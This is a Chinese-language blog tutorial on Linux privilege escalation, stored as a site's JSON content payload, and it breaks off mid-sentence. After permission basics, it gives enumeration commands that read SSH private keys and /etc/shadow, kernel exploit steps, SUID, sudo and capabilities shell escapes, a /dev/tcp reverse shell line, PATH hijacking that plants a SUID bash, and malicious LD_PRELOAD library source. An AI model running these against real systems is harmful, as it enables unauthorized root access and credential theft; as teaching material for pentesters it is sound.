[{"data":1,"prerenderedAt":1196},["ShallowReactive",2],{"content:\u002F2026\u002Flinux":3,"surround:\u002F2026\u002Flinux":1190},{"id":4,"title":5,"body":6,"categories":1167,"date":1169,"description":1170,"draft":1171,"extension":1172,"image":1173,"meta":1174,"navigation":1176,"path":1177,"permalink":1178,"published":1178,"readingTime":1179,"recommend":1178,"references":1178,"seo":1184,"sitemap":1185,"stem":1186,"tags":1187,"type":1188,"updated":1169,"__hash__":1189},"content\u002Fposts\u002F2026\u002FLinux 提权.md","Linux 提权",{"type":7,"value":8,"toc":1108},"minimark",[9,13,22,26,29,34,37,48,104,107,113,116,120,164,168,174,176,182,185,283,287,290,292,298,305,369,372,380,384,387,389,395,402,405,408,412,418,422,428,432,438,444,448,454,457,461,467,471,477,481,487,491,494,500,503,506,510,600,603,607,613,617,639,643,646,652,655,659,662,668,672,675,681,685,688,691,697,701,704,710,714,720,724,727,733,737,740,746,750,753,757,760,764,770,773,779,785,789,885,889,895,904,908,911,917,920,923,927,938,944,947,953,964,968,971,979,985,988,992,995,1001,1004,1007,1011,1017,1020,1026,1030,1033,1039,1043,1058,1064,1068,1075,1079,1085,1089,1095,1099,1102],[10,11,12],"h2",{"id":12},"前言",[14,15,16,17,21],"p",{},"Linux 提权（ Privilege Escalation，简称 ",[18,19,20],"strong",{},"PrivEsc"," ）指的是：从低权限用户提升到更高权限（通常是 root ）的过程，主要分为内核提权和其他类型提权。",[10,23,25],{"id":24},"linux-基础","Linux  基础",[14,27,28],{},"在正式开始学习 Linux 提权之前，有些相关的基础知识需要掌握，在后面写的过程中有一些概念也放在这里面。",[30,31,33],"h3",{"id":32},"_1-linux-权限模型","1.  Linux 权限模型",[14,35,36],{},"Linux 每个文件都有：文件所有者（owner）、文件所属组（group）、其他用户（others），权限管理用10位表示法：",[38,39,45],"pre",{"className":40,"code":42,"language":43,"meta":44},[41],"language-bash","[文件类型][U][G][O]\n[文件类型]:\n- 普通文件\nd 目录\nl 软链接\nc 字符设备\nb 块设备\n\n[U]:所有者权限\n[G]:所属组权限\n[O]:其他用户权限\n","bash","",[46,47,42],"code",{"__ignoreMap":44},[49,50,51,67],"table",{},[52,53,54],"thead",{},[55,56,57,61,64],"tr",{},[58,59,60],"th",{},"权限",[58,62,63],{},"文件",[58,65,66],{},"目录",[68,69,70,82,93],"tbody",{},[55,71,72,76,79],{},[73,74,75],"td",{},"r",[73,77,78],{},"读取内容",[73,80,81],{},"查看目录文件名",[55,83,84,87,90],{},[73,85,86],{},"w",[73,88,89],{},"修改内容",[73,91,92],{},"创建删除文件",[55,94,95,98,101],{},[73,96,97],{},"x",[73,99,100],{},"执行",[73,102,103],{},"进入目录",[14,105,106],{},"示例：",[38,108,111],{"className":109,"code":110,"language":43,"meta":44},[41],"-rwxr-xr--\n",[46,112,110],{"__ignoreMap":44},[14,114,115],{},"表示该文件所有者有 rwx 权限，所属组有 rx 权限，其他用户有 r 权限，同时，也可以用数字表示，r = 4，w = 2，x = 1，该示例就为 754 。",[30,117,119],{"id":118},"_2-特殊权限位","2.  特殊权限位",[121,122,123,144,154],"ol",{},[124,125,126,127,130,131,135,136,139,140,143],"li",{},"SUID",[128,129],"br",{},"执行时以文件所有者身份运行，当 ",[132,133,134],"span",{},"U"," 具有 x 权限时，添加 SUID 后该 x 位变为 s ，不具有时变为 S ，用数字表示是 4000 ，可以用 ",[46,137,138],{"code":138},"find \u002F -perm -4000 2>\u002Fdev\u002Fnull"," 查看，添加可以用 ",[46,141,142],{"code":142},"chmod u+s test"," 。",[124,145,146,147,149,150,153],{},"SGID",[128,148],{},"文件：执行时以文件所属组身份运行；目录：新建文件继承目录组所有权，当 ",[132,151,152],{},"G"," 具有 x 权限时，添加 SGID 后该 x 位变为 s ，不具有时变为 S ，用数字表示是 2000 。",[124,155,156,157,159,160,163],{},"Sticky Bit",[128,158],{},"在目录上设置时，只有所有者、目录所有者或 root 可删除或重命名文件，当 ",[132,161,162],{},"O"," 具有 x 权限时，添加后该 x 位变为 t ，不具有时变为 T，用数字表示是 1000 。",[30,165,167],{"id":166},"_3-etcpasswd","3.  \u002Fetc\u002Fpasswd",[14,169,170,173],{},[46,171,172],{"code":172},"\u002Fetc\u002Fpasswd"," 是 Linux 中非常重要的系统文件，保存用户账户信息。",[14,175,106],{},[38,177,180],{"className":178,"code":179,"language":43,"meta":44},[41],"用户名:密码占位符:UID:GID:描述:家目录:登录Shell\n\nroot:x:0:0:root:\u002Froot:\u002Fbin\u002Fbash\ndaemon:x:1:1:daemon:\u002Fusr\u002Fsbin:\u002Fusr\u002Fsbin\u002Fnologin\nalice:x:1000:1000:Alice:\u002Fhome\u002Falice:\u002Fbin\u002Fbash\n",[46,181,179],{"__ignoreMap":44},[14,183,184],{},"每一行代表一个用户，一共 7 个字段，",[49,186,187,200],{},[52,188,189],{},[55,190,191,194,197],{},[58,192,193],{},"字段",[58,195,196],{},"内容",[58,198,199],{},"含义",[68,201,202,213,230,241,251,261,272],{},[55,203,204,207,210],{},[73,205,206],{},"1",[73,208,209],{},"root",[73,211,212],{},"用户名",[55,214,215,218,220],{},[73,216,217],{},"2",[73,219,97],{},[73,221,222,223,225,226,229],{},"密码字段，",[46,224,97],{"code":97}," 是占位符，密码已移动到 ",[46,227,228],{"code":228},"\u002Fetc\u002Fshadow","；为空表示无密码，可直接登录",[55,231,232,235,238],{},[73,233,234],{},"3",[73,236,237],{},"0",[73,239,240],{},"UID ，用户 ID，root 是 0，系统用户是 1-999，普通用户是 1000+",[55,242,243,246,248],{},[73,244,245],{},"4",[73,247,237],{},[73,249,250],{},"GID，组 ID",[55,252,253,256,258],{},[73,254,255],{},"5",[73,257,209],{},[73,259,260],{},"用户描述",[55,262,263,266,269],{},[73,264,265],{},"6",[73,267,268],{},"\u002Froot",[73,270,271],{},"家目录",[55,273,274,277,280],{},[73,275,276],{},"7",[73,278,279],{},"\u002Fbin\u002Fbash",[73,281,282],{},"登录 Shell， 用户登录系统后，默认启动的命令解释器（shell 程序）",[30,284,286],{"id":285},"_4-etcshadow","4.  \u002Fetc\u002Fshadow",[14,288,289],{},"Linux 中保存用户密码哈希（hash）信息的文件。",[14,291,106],{},[38,293,296],{"className":294,"code":295,"language":43,"meta":44},[41],"用户名:密码hash:最近修改时间:最小间隔:最大间隔:警告时间:宽限期:账户失效日期:保留\n\nroot:$y$j9T$PvTjazjliv1w23ZO2Id3L0$1vm0ofCDn.j4YMNKLqi3kRGFl.pb6kfEJh.\u002Fk4XzdLA:20469:0:99999:7:::\n",[46,297,295],{"__ignoreMap":44},[14,299,300,301,304],{},"密码字段 ",[46,302,303],{"code":303},"$算法$id$salt$hash"," ，该示例 yescrypt 算法，j9T 参数，PvTjazjliv1w23ZO2Id3L0 盐。",[49,306,307,317],{},[52,308,309],{},[55,310,311,314],{},[58,312,313],{},"标识",[58,315,316],{},"算法",[68,318,319,329,339,349,359],{},[55,320,321,326],{},[73,322,323],{},[46,324,325],{"code":325},"$1$",[73,327,328],{},"MD5",[55,330,331,336],{},[73,332,333],{},[46,334,335],{"code":335},"$2a$",[73,337,338],{},"Blowfish",[55,340,341,346],{},[73,342,343],{},[46,344,345],{"code":345},"$5$",[73,347,348],{},"SHA-256",[55,350,351,356],{},[73,352,353],{},[46,354,355],{"code":355},"$6$",[73,357,358],{},"SHA-512",[55,360,361,366],{},[73,362,363],{},[46,364,365],{"code":365},"$y$",[73,367,368],{},"yescrypt",[14,370,371],{},"其中，密码字段还有其他情况：",[38,373,378],{"className":374,"code":376,"language":377},[375],"language-text","root:!:20469:0:99999:7:::      !账户密码被锁定，不能用密码登录，但可能还能通过其他方式登录（比如 SSH key）。\n\nuser:!!:20469:0:99999:7:::     用户创建了，但是还没有设置密码。\n\nmysql:*:20469:0:99999:7:::     密码登录被禁用。\n\nroot::20469:0:99999:7:::       无密码。\n","text",[46,379,376],{"__ignoreMap":44},[30,381,383],{"id":382},"_5-etcsudoers","5.  \u002Fetc\u002Fsudoers",[14,385,386],{},"是 Linux 中 sudo 命令的配置文件，它规定哪些用户可以使用 sudo，以及可以用 sudo 执行哪些命令。",[14,388,106],{},[38,390,393],{"className":391,"code":392,"language":43,"meta":44},[41],"root    ALL=(ALL:ALL) ALL    root 用户可以在任何主机，以任何用户和组身份执行任何命令\n\n%sudo   ALL=(ALL:ALL) ALL    sudo组都有全部sudo权限\n",[46,394,392],{"__ignoreMap":44},[14,396,397,398,401],{},"所以就可以用 ",[46,399,400],{"code":400},"cat \u002Fetc\u002Fgroup | grep sudo"," 去查看 sudo 组的用户，尝试用这些用户提权。",[10,403,404],{"id":404},"信息收集",[14,406,407],{},"拿到一个普通 shell 后，不要急着执行 exploit，先收集信息。",[30,409,411],{"id":410},"_1-查看系统信息","1.  查看系统信息",[38,413,416],{"className":414,"code":415,"language":43,"meta":44},[41],"# 打印所有可用的系统信息 \nuname -a \n# 内核版本\nuname -r \n# 系统主机名\nuname -n \n# 系统主机名\nhostname \n# 查看系统内核架构（64位\u002F32位）\nuname -m \n# 内核信息 \ncat \u002Fproc\u002Fversion \n# 分发信息 \ncat \u002Fetc\u002Fos-release \n# 分发信息\ncat \u002Fetc\u002Fissue\n# CPU信息 \ncat \u002Fproc\u002Fcpuinfo \n",[46,417,415],{"__ignoreMap":44},[30,419,421],{"id":420},"_2-用户和群组","2.  用户和群组",[38,423,426],{"className":424,"code":425,"language":43,"meta":44},[41],"# 列出系统上的所有用户\ncat \u002Fetc\u002Fpasswd\n# 列出系统上的所有用户组\ncat \u002Fetc\u002Fgroup\n# 列出所有的超级用户账户（UID = 0）\ngrep -v -E \"^#\" \u002Fetc\u002Fpasswd | awk -F: '$3 == 0 { print $1 }'\n# 查看 root 用户的本地邮件（可能包含系统通知）\ncat \u002Fvar\u002Fmail\u002Froot\ncat \u002Fvar\u002Fspool\u002Fmail\u002Froot\n# 查看当前用户\nwhoami\n# 查看当前用户详细信息\nid\n# 查看当前已登录的用户及其活动\nw\n# 查看最近登录的用户列表\nlast\n# 查看所有用户的上次登录信息\nlastlog\n# 查看指定用户的上次登录信息（将 %username% 替换为用户名）\nlastlog -u 用户名\n# 谁被允许以root身份执行\ncat \u002Fetc\u002Fsudoers\n# 当前用户可以以root身份执行操作\nsudo -l\n",[46,427,425],{"__ignoreMap":44},[30,429,431],{"id":430},"_3-suidsgid可写文件扫描","3.  SUID\u002FSGID\u002F可写文件扫描",[38,433,436],{"className":434,"code":435,"language":43,"meta":44},[41],"# 查找 SUID 文件，提权的重点关注对象\nfind \u002F -perm -4000 -type f 2>\u002Fdev\u002Fnull\n# 查找 SGID 文件\nfind \u002F -perm -2000 -type f 2>\u002Fdev\u002Fnull\n# 查找当前用户可写的文件\nfind \u002F -writable -type f 2>\u002Fdev\u002Fnull\n# 查看关键系统文件的权限\nls -la \u002Fetc\u002Fpasswd \u002Fetc\u002Fshadow \u002Fetc\u002Fsudoers\n# 查找具有特殊 capabilities 的文件\ngetcap -r \u002F 2>\u002Fdev\u002Fnull\n",[46,437,435],{"__ignoreMap":44},[14,439,440,441,443],{},"可写的关键文件是提权的大线索，比如 ",[46,442,172],{"code":172}," 可写时，可以直接添加一个 UID 为 0 的用户。",[30,445,447],{"id":446},"_4-计划任务进程与网络","4.  计划任务、进程与网络",[38,449,452],{"className":450,"code":451,"language":43,"meta":44},[41],"# 查看当前用户的计划任务\ncrontab -l\n# 查看系统的计划任务\ncat \u002Fetc\u002Fcrontab\nls -la \u002Fetc\u002Fcron.d \u002Fetc\u002Fcron.daily\n# 查看正在运行的进程，重点关注 root 用户执行的进程\nps aux\n# 查看监听端口与网络连接\nss -tulpn\nnetstat -tulnp\n",[46,453,451],{"__ignoreMap":44},[14,455,456],{},"root 定期执行的计划任务脚本如果可写，替换后等待触发即可拿到 root 权限。",[30,458,460],{"id":459},"_5-环境系统变量信息","5.  环境系统变量信息",[38,462,465],{"className":463,"code":464,"language":43,"meta":44},[41],"# 显示环境变量\nenv\n# 查看所有 Shell 变量\nset\n# 查看 PATH\necho $PATH\n# 显示当前用户的历史命令记录\nhistory\n# 显示默认系统变量\ncat \u002Fetc\u002Fprofile\n# 显示可用的shell\ncat \u002Fetc\u002Fshells\n",[46,466,464],{"__ignoreMap":44},[30,468,470],{"id":469},"_6-查找明文密码","6.  查找明文密码",[38,472,475],{"className":473,"code":474,"language":43,"meta":44},[41],"# 在文件中查找包含 \"user\"（不区分大小写）的行\ngrep -i user [filename]\n# 在文件中查找包含 \"pass\"（不区分大小写）的行\ngrep -i pass [filename]\n# 在文件中查找包含 \"password\" 的行，并显示上下 5 行的内容\ngrep -C 5 \"password\" [filename]\n# 查找当前目录及子目录中所有 .php 文件，查找其中包含 \"var $password\" 的行，并显示行号\nfind . -name \"*.php\" -print0 | xargs -0 grep -i -n 'var $password'\n",[46,476,474],{"__ignoreMap":44},[30,478,480],{"id":479},"_7-ssh-私钥","7.  ssh 私钥",[38,482,485],{"className":483,"code":484,"language":43,"meta":44},[41],"# 查看当前用户的 SSH 授权密钥\ncat ~\u002F.ssh\u002Fauthorized_keys\n# 查看当前用户的 SSH 身份密钥（公钥）\ncat ~\u002F.ssh\u002Fidentity.pub\n# 查看当前用户的 SSH 身份密钥（私钥）\ncat ~\u002F.ssh\u002Fidentity\n# 查看当前用户的 RSA 公钥\ncat ~\u002F.ssh\u002Fid_rsa.pub\n# 查看当前用户的 RSA 私钥\ncat ~\u002F.ssh\u002Fid_rsa\n# 查看当前用户的 DSA 公钥\ncat ~\u002F.ssh\u002Fid_dsa.pub\n# 查看当前用户的 DSA 私钥\ncat ~\u002F.ssh\u002Fid_dsa\n# 查看 SSH 客户端配置文件\ncat \u002Fetc\u002Fssh\u002Fssh_config\n# 查看 SSH 服务端配置文件\ncat \u002Fetc\u002Fssh\u002Fsshd_config\n# 查看 SSH DSA 主机公钥\ncat \u002Fetc\u002Fssh\u002Fssh_host_dsa_key.pub\n# 查看 SSH DSA 主机私钥\ncat \u002Fetc\u002Fssh\u002Fssh_host_dsa_key\n# 查看 SSH RSA 主机公钥\ncat \u002Fetc\u002Fssh\u002Fssh_host_rsa_key.pub\n# 查看 SSH RSA 主机私钥\ncat \u002Fetc\u002Fssh\u002Fssh_host_rsa_key\n# 查看 SSH 主机公钥\ncat \u002Fetc\u002Fssh\u002Fssh_host_key.pub\n# 查看 SSH 主机私钥\ncat \u002Fetc\u002Fssh\u002Fssh_host_key\n",[46,486,484],{"__ignoreMap":44},[30,488,490],{"id":489},"_8-linpeas","8.  LinPEAS",[14,492,493],{},"LinPEAS 是一款自动化的信息收集脚本。",[38,495,498],{"className":496,"code":497,"language":43,"meta":44},[41],"# 下载\nwget https:\u002F\u002Fgithub.com\u002Fcarlospolop\u002FPEASS-ng\u002Freleases\u002Flatest\u002Fdownload\u002Flinpeas.sh\n\n# 添加执行权限\nchmod +x linpeas.sh\n\n# 运行\nbash linpeas.sh\n",[46,499,497],{"__ignoreMap":44},[10,501,502],{"id":502},"内核漏洞提权",[14,504,505],{},"内核漏洞提权是指利用操作系统内核自身的漏洞，把普通用户权限提升为 root。内核漏洞的 exploit 通常以本地提权（Local Privilege Escalation，LPE）的形式存在，一旦成功，攻击者就获得了整个系统的控制权。",[30,507,509],{"id":508},"_1-经典内核漏洞","1.  经典内核漏洞",[49,511,512,528],{},[52,513,514],{},[55,515,516,519,522,525],{},[58,517,518],{},"漏洞",[58,520,521],{},"CVE",[58,523,524],{},"受影响范围",[58,526,527],{},"说明",[68,529,530,544,558,572,586],{},[55,531,532,535,538,541],{},[73,533,534],{},"Dirty COW",[73,536,537],{},"CVE-2016-5195",[73,539,540],{},"Linux 2.6.22 – 4.8.3",[73,542,543],{},"写时复制（COW）竞态条件，可写入只读文件，最经典的提权漏洞之一",[55,545,546,549,552,555],{},[73,547,548],{},"Dirty Pipe",[73,550,551],{},"CVE-2022-0847",[73,553,554],{},"Linux 5.8 – 5.16.11",[73,556,557],{},"管道缓冲区未初始化，可覆盖只读文件，利用简单且稳定",[55,559,560,563,566,569],{},[73,561,562],{},"PwnKit",[73,564,565],{},"CVE-2021-4034",[73,567,568],{},"2009 年以来的所有主流发行版",[73,570,571],{},"polkit 组件漏洞，通过 pkexec 提权，影响面极广",[55,573,574,577,580,583],{},[73,575,576],{},"OverlayFS",[73,578,579],{},"CVE-2021-3493",[73,581,582],{},"Ubuntu 20.04 \u002F 20.10 默认内核",[73,584,585],{},"overlayfs 文件复制逻辑缺陷，Ubuntu 上利用稳定",[55,587,588,591,594,597],{},[73,589,590],{},"nftables 溢出",[73,592,593],{},"CVE-2024-1086",[73,595,596],{},"Linux 3.15 – 6.6",[73,598,599],{},"nftables 堆越界写，2024 年公开，影响范围大",[14,601,602],{},"其中 PwnKit 严格来说是 polkit 组件的漏洞而不是内核漏洞，但利用方式和最终效果相同，所以通常也归入这一类。",[30,604,606],{"id":605},"_2-利用流程","2.  利用流程",[38,608,611],{"className":609,"code":610,"language":43,"meta":44},[41],"# 1. 查看内核版本和发行版，确定目标范围\nuname -a\ncat \u002Fetc\u002Fos-release\n\n# 2. 根据版本搜索对应的漏洞利用代码\nsearchsploit linux kernel\n# 也可以去 exploit-db.com 或 GitHub 上搜索\n\n# 3. 下载 exploit 源码并编译\ngcc exploit.c -o exploit\n\n# 4. 上传到目标机器执行\n.\u002Fexploit\n",[46,612,610],{"__ignoreMap":44},[30,614,616],{"id":615},"_3-注意事项","3.  注意事项",[618,619,620,623,626,633,636],"ul",{},[124,621,622],{},"内核版本必须和 exploit 要求的版本精确匹配，版本不对轻则利用失败，重则导致内核崩溃（panic）甚至系统重启，容易暴露行踪。",[124,624,625],{},"部分 exploit 不稳定，可能需要多次尝试，或根据目标架构（32 位\u002F64 位）调整编译参数。",[124,627,628,629,632],{},"目标机器可能没有 gcc 等编译工具，可以本地编译后上传，注意使用 ",[46,630,631],{"code":631},"-static"," 静态编译，避免目标机器缺少动态库。",[124,634,635],{},"内核提权相当于\"核武器\"，实战中应优先尝试 sudo、SUID、计划任务等配置类提权，实在没有路径再考虑内核漏洞。",[124,637,638],{},"内核漏洞利用成功后通常无法用于持久化，还需要另行维持权限。",[10,640,642],{"id":641},"suid-提权","SUID  提权",[14,644,645],{},"在 Linux 中，SUID 是一种特殊权限位，在文件所有者的执行权限上，可以让调用者以文件拥有者的身份运行该文件，当我们以一个普通用户去运行一个 root 用户所有的 SUID 文件，那么运行该文件我们就可以获取到 root 权限。",[38,647,650],{"className":648,"code":649,"language":43,"meta":44},[41],"find \u002F -perm -u=s -type f 2>\u002Fdev\u002Fnull\nfind \u002F -user root -perm -4000  -type f -print 2>\u002Fdev\u002Fnull\nfind \u002F -user root -perm -4000 -exec ls -l {} \\; 2>\u002Fdev\u002Fnull\n",[46,651,649],{"__ignoreMap":44},[14,653,654],{},"下面介绍一些常见的可以用来提权的利用方式。",[30,656,658],{"id":657},"_1-nmap","1.  nmap",[14,660,661],{},"旧版本 nmap 有：interactive 模式，可以进入交互模式，来运行具有相同权限的 shell 。",[38,663,666],{"className":664,"code":665,"language":43,"meta":44},[41],"nmap --interactive\n\nnmap> !sh\nsh-3.2# whoami\nroot\n",[46,667,665],{"__ignoreMap":44},[30,669,671],{"id":670},"_2-find","2.  find",[14,673,674],{},"可以利用 -exec 参数执行任意命令。",[38,676,679],{"className":677,"code":678,"language":43,"meta":44},[41],"find \u002Ftmp -exec whoami \\;\nfind \u002Ftmp -exec  \u002Fbin\u002Fsh -p \\;\n",[46,680,678],{"__ignoreMap":44},[30,682,684],{"id":683},"_3-vim","3.  vim",[14,686,687],{},"vim 是用来作为文本编辑器，但是如果它作为 SUID 运行，它将继承 root 用户的权限，因此它可以读取系统上的所有文件，也可以通过其他方式拿到 root 权限。",[14,689,690],{},"命令模式。",[38,692,695],{"className":693,"code":694,"language":43,"meta":44},[41],"vim\n:!sh\n",[46,696,694],{"__ignoreMap":44},[30,698,700],{"id":699},"_4-less和more","4.  less和more",[14,702,703],{},"less 和 more 都是 Linux 下的分页查看器，如果它们被错误设置为 SUID ，就可能造成权限提升。",[38,705,708],{"className":706,"code":707,"language":377},[375],"less\u002Fmore  \u002Fetc\u002Fpasswd\n!sh\n",[46,709,707],{"__ignoreMap":44},[30,711,713],{"id":712},"_5-bash","5.  bash",[38,715,718],{"className":716,"code":717,"language":43,"meta":44},[41],"bash -p\nwhoami\n",[46,719,717],{"__ignoreMap":44},[30,721,723],{"id":722},"_6-env","6.  env",[14,725,726],{},"可以直接命令执行。",[38,728,731],{"className":729,"code":730,"language":43,"meta":44},[41],"env whoami \nenv id \nenv bash -ip >& \u002Fdev\u002Ftcp\u002F$ip\u002F$port 0>&1;\n",[46,732,730],{"__ignoreMap":44},[30,734,736],{"id":735},"_7-python和perl","7.  python和perl",[14,738,739],{},"可以直接执行。",[38,741,744],{"className":742,"code":743,"language":43,"meta":44},[41],"\u002Fusr\u002Fbin\u002Fpython \nimport os \nos.setuid(0)\nos.system(\"\u002Fbin\u002Fsh\")\n\n\u002Fusr\u002Fbin\u002Fperl\nperl -e 'setuid(0);system(\"id\")'\n",[46,745,743],{"__ignoreMap":44},[30,747,749],{"id":748},"_8-nano-cp-netcat","8.  Nano   cp   netcat",[14,751,752],{},"nano 可以编辑 root 文件，cp 复制\u002F覆盖 root 文件，netcat -e 命令执行。",[10,754,756],{"id":755},"capabilities-提权","Capabilities  提权",[14,758,759],{},"Linux capabilities 把 root 的完整权限拆分成一项项独立特权，可以单独赋予某个文件。普通用户执行带有 capabilities 的文件时，只会获得对应的一项特权，而不是完整 root，但其中部分特权可以直接用来提权。",[30,761,763],{"id":762},"_1-查看-capabilities","1.  查看 capabilities",[38,765,768],{"className":766,"code":767,"language":43,"meta":44},[41],"# 递归扫描整个系统，找出带 capabilities 的文件\ngetcap -r \u002F 2>\u002Fdev\u002Fnull\n\n# 查看单个文件的 capabilities\ngetcap \u002Fusr\u002Fbin\u002Fpython3\n",[46,769,767],{"__ignoreMap":44},[14,771,772],{},"输出示例：",[38,774,777],{"className":775,"code":776,"language":43,"meta":44},[41],"\u002Fusr\u002Fbin\u002Fpython3 cap_setuid=ep\n\u002Fusr\u002Fbin\u002Ftar cap_dac_read_search=ep\n",[46,778,776],{"__ignoreMap":44},[14,780,781,784],{},[46,782,783],{"code":783},"=ep"," 表示 effective + permitted（生效可用），这样的文件才能被利用。",[30,786,788],{"id":787},"_2-常见可提权的-capabilities","2.  常见可提权的 capabilities",[49,790,791,804],{},[52,792,793],{},[55,794,795,798,801],{},[58,796,797],{},"capabilities",[58,799,800],{},"效果",[58,802,803],{},"利用方式",[68,805,806,822,837,853,869],{},[55,807,808,813,816],{},[73,809,810],{},[46,811,812],{"code":812},"cap_setuid",[73,814,815],{},"任意切换用户 ID",[73,817,818,821],{},[46,819,820],{"code":820},"setuid(0)"," 直接提权",[55,823,824,829,832],{},[73,825,826],{},[46,827,828],{"code":828},"cap_setgid",[73,830,831],{},"任意切换组 ID",[73,833,834,821],{},[46,835,836],{"code":836},"setgid(0)",[55,838,839,844,847],{},[73,840,841],{},[46,842,843],{"code":843},"cap_dac_read_search",[73,845,846],{},"绕过文件的读权限检查",[73,848,849,850,852],{},"直接读取 ",[46,851,228],{"code":228}," 等",[55,854,855,860,863],{},[73,856,857],{},[46,858,859],{"code":859},"cap_dac_override",[73,861,862],{},"绕过文件的读写权限检查",[73,864,865,866,868],{},"修改 ",[46,867,172],{"code":172}," 等关键文件",[55,870,871,876,879],{},[73,872,873],{},[46,874,875],{"code":875},"cap_chown",[73,877,878],{},"修改任意文件的属主",[73,880,881,884],{},[46,882,883],{"code":883},"chown root:root"," 任意文件",[30,886,888],{"id":887},"_3-常见利用方式","3.  常见利用方式",[38,890,893],{"className":891,"code":892,"language":43,"meta":44},[41],"# python3 带 cap_setuid：直接切换为 root\npython3 -c 'import os; os.setuid(0); os.system(\"\u002Fbin\u002Fbash\")'\n\n# perl 带 cap_setuid\nperl -e 'setuid(0); system(\"\u002Fbin\u002Fsh\")'\n\n# tar 带 cap_dac_read_search：打包读取普通用户读不了的文件\ntar -cf \u002Ftmp\u002Fshadow.tar \u002Fetc\u002Fshadow\ntar -xO -f \u002Ftmp\u002Fshadow.tar etc\u002Fshadow\n",[46,894,892],{"__ignoreMap":44},[14,896,897,898,900,901,903],{},"注意：capabilities 只提供单项特权，例如拿到 ",[46,899,843],{"code":843}," 只能读取敏感文件，无法直接获得 shell，读到的哈希还需要配合 john \u002F hashcat 爆破；而 ",[46,902,812],{"code":812}," 可以直接提权，是最有价值的利用目标。",[10,905,907],{"id":906},"sudo-提权","SUDO  提权",[14,909,910],{},"sudo 是 Linux 中非常重要的权限管理工具，允许普通用户以其他用户（通常是 root）的身份执行某些命令，通常情况下，执行 sudo 需要输入用户自己的密码，但有时候会出现无需密码（NOPASSWD）即可执行，这些配置不当可能导致攻击者利用。示例：",[38,912,915],{"className":913,"code":914,"language":43,"meta":44},[41],"sudo -l \n# 查看权限\n\nsudo \u002Fbin\u002Fbash\n# 使用 sudo 启动一个新的 Bash shell。若 sudo 配置允许执行该命令，用户便能获取 root 权限并进入 shell。\nsudo \u002Fbin\u002Fsh\n# 与 sudo \u002Fbin\u002Fbash 类似，使用 sudo 启动一个新的 sh shell。常用于一些环境下无法使用 Bash，但仍能通过其他 shell 提权的情况。\nsudo python -c 'import os; os.system(\"\u002Fbin\u002Fbash\")'\n# 通过 Python 的 os.system() 方法执行命令。该命令在 Python 中执行 bash，从而获得一个新的 shell 以提权。\nsudo perl -e 'exec \"\u002Fbin\u002Fbash\"'\n# 利用 Perl 语言中的 exec 函数直接执行 \u002Fbin\u002Fbash，从而获得 root 权限下的 Bash shell。\nsudo vim -c '!sh'\n# 使用 vim 编辑器执行命令 !sh 启动一个新的 shell。vim 的 -c 参数用于在启动时执行 Vim 命令，这里使用它来启动 sh shell。\nsudo vi -c '!sh'\n# 与 sudo vim -c '!sh' 类似，利用 vi 编辑器的 -c 参数执行命令 !sh，从而获得一个新的 shell。\nsudo find \u002F -exec \u002Fbin\u002Fbash \\;\n# 使用 find 命令遍历系统文件，并通过 -exec 参数执行 \u002Fbin\u002Fbash。如果 sudo 配置允许执行该命令，就会启动一个 Bash shell。\nsudo awk 'BEGIN {system(\"\u002Fbin\u002Fsh\")}'\n# 使用 awk 命令执行系统命令。这里通过 BEGIN 动作直接执行 sh，启动一个新的 shell。\n",[46,916,914],{"__ignoreMap":44},[10,918,919],{"id":919},"环境变量提权",[14,921,922],{},"高权限程序执行时，如果会读取用户可控的环境变量，就可能被利用。",[30,924,926],{"id":925},"_1-path-劫持","1.  PATH 劫持",[14,928,929,930,933,934,937],{},"程序在调用其他命令时，如果使用的是相对路径（例如 C 语言中的 ",[46,931,932],{"code":932},"system(\"ls\")","、",[46,935,936],{"code":936},"execvp(\"ls\", ...)","），系统会按照 PATH 环境变量中的目录顺序逐个查找。如果 PATH 中存在普通用户可写的目录，并且排在系统目录前面，就可以在该目录中放一个同名恶意脚本，让程序执行我们的脚本。",[38,939,942],{"className":940,"code":941,"language":43,"meta":44},[41],"# 查看当前 PATH，确认其中是否有可写目录\necho $PATH\n\n# 在可写目录 \u002Ftmp 中创建与目标命令同名的恶意脚本\necho -e '#!\u002Fbin\u002Fbash\\nwhoami' > \u002Ftmp\u002Fls\nchmod +x \u002Ftmp\u002Fls\n\n# 把 \u002Ftmp 放到 PATH 最前面\nexport PATH=\u002Ftmp:$PATH\n\n# 此时执行 ls，实际运行的是 \u002Ftmp\u002Fls\nls\n",[46,943,941],{"__ignoreMap":44},[14,945,946],{},"如果 root 的计划任务或 SUID 程序调用了相对路径的命令，还可以把脚本换成提权版本：",[38,948,951],{"className":949,"code":950,"language":43,"meta":44},[41],"echo -e '#!\u002Fbin\u002Fbash\\ncp \u002Fbin\u002Fbash \u002Ftmp\u002Frootbash && chmod u+s \u002Ftmp\u002Frootbash' > \u002Ftmp\u002Fls\nchmod +x \u002Ftmp\u002Fls\nexport PATH=\u002Ftmp:$PATH\n\n# 等待触发后，执行带 SUID 的 bash 拿到 root shell\n\u002Ftmp\u002Frootbash -p\n",[46,952,950],{"__ignoreMap":44},[14,954,955,956,959,960,963],{},"注意：bash 执行 SUID 脚本时会主动重置 PATH，但编译型程序通过 ",[46,957,958],{"code":958},"system()","\u002F",[46,961,962],{"code":962},"execvp()"," 调用命令时依然继承当前 PATH，PATH 劫持仍然有效。",[30,965,967],{"id":966},"_2-ld_preload","2.  LD_PRELOAD",[14,969,970],{},"LD_PRELOAD 环境变量可以让动态链接器在加载程序时，优先加载我们指定的共享库。如果高权限程序在运行时没有清理该变量，共享库里的代码就会以该程序的权限（root）执行。",[38,972,977],{"className":973,"code":975,"language":976,"meta":44},[974],"language-c","\u002F\u002F evil.c，编译：gcc -fPIC -shared -o evil.so evil.c -nostartfiles\n#include \u003Cstdio.h>\n#include \u003Csys\u002Ftypes.h>\n#include \u003Cstdlib.h>\n\nvoid _init() {\n    unsetenv(\"LD_PRELOAD\");\n    setgid(0);\n    setuid(0);\n    system(\"\u002Fbin\u002Fbash\");\n}\n","c",[46,978,975],{"__ignoreMap":44},[38,980,983],{"className":981,"code":982,"language":43,"meta":44},[41],"# 编译恶意共享库\ngcc -fPIC -shared -o evil.so evil.c -nostartfiles\n\n# 触发加载：如果 sudo 配置中 env_keep 保留了 LD_PRELOAD\nsudo LD_PRELOAD=\u002Ftmp\u002Fevil.so 任意可执行的命令\n\n# 或者直接加载到某个 root 程序上\nLD_PRELOAD=\u002Ftmp\u002Fevil.so \u002Fusr\u002Fbin\u002F某root程序\n",[46,984,982],{"__ignoreMap":44},[14,986,987],{},"注意：glibc 对 SUID 程序会忽略 LD_PRELOAD、LD_LIBRARY_PATH 等危险环境变量，所以直接对 SUID 文件设置 LD_PRELOAD 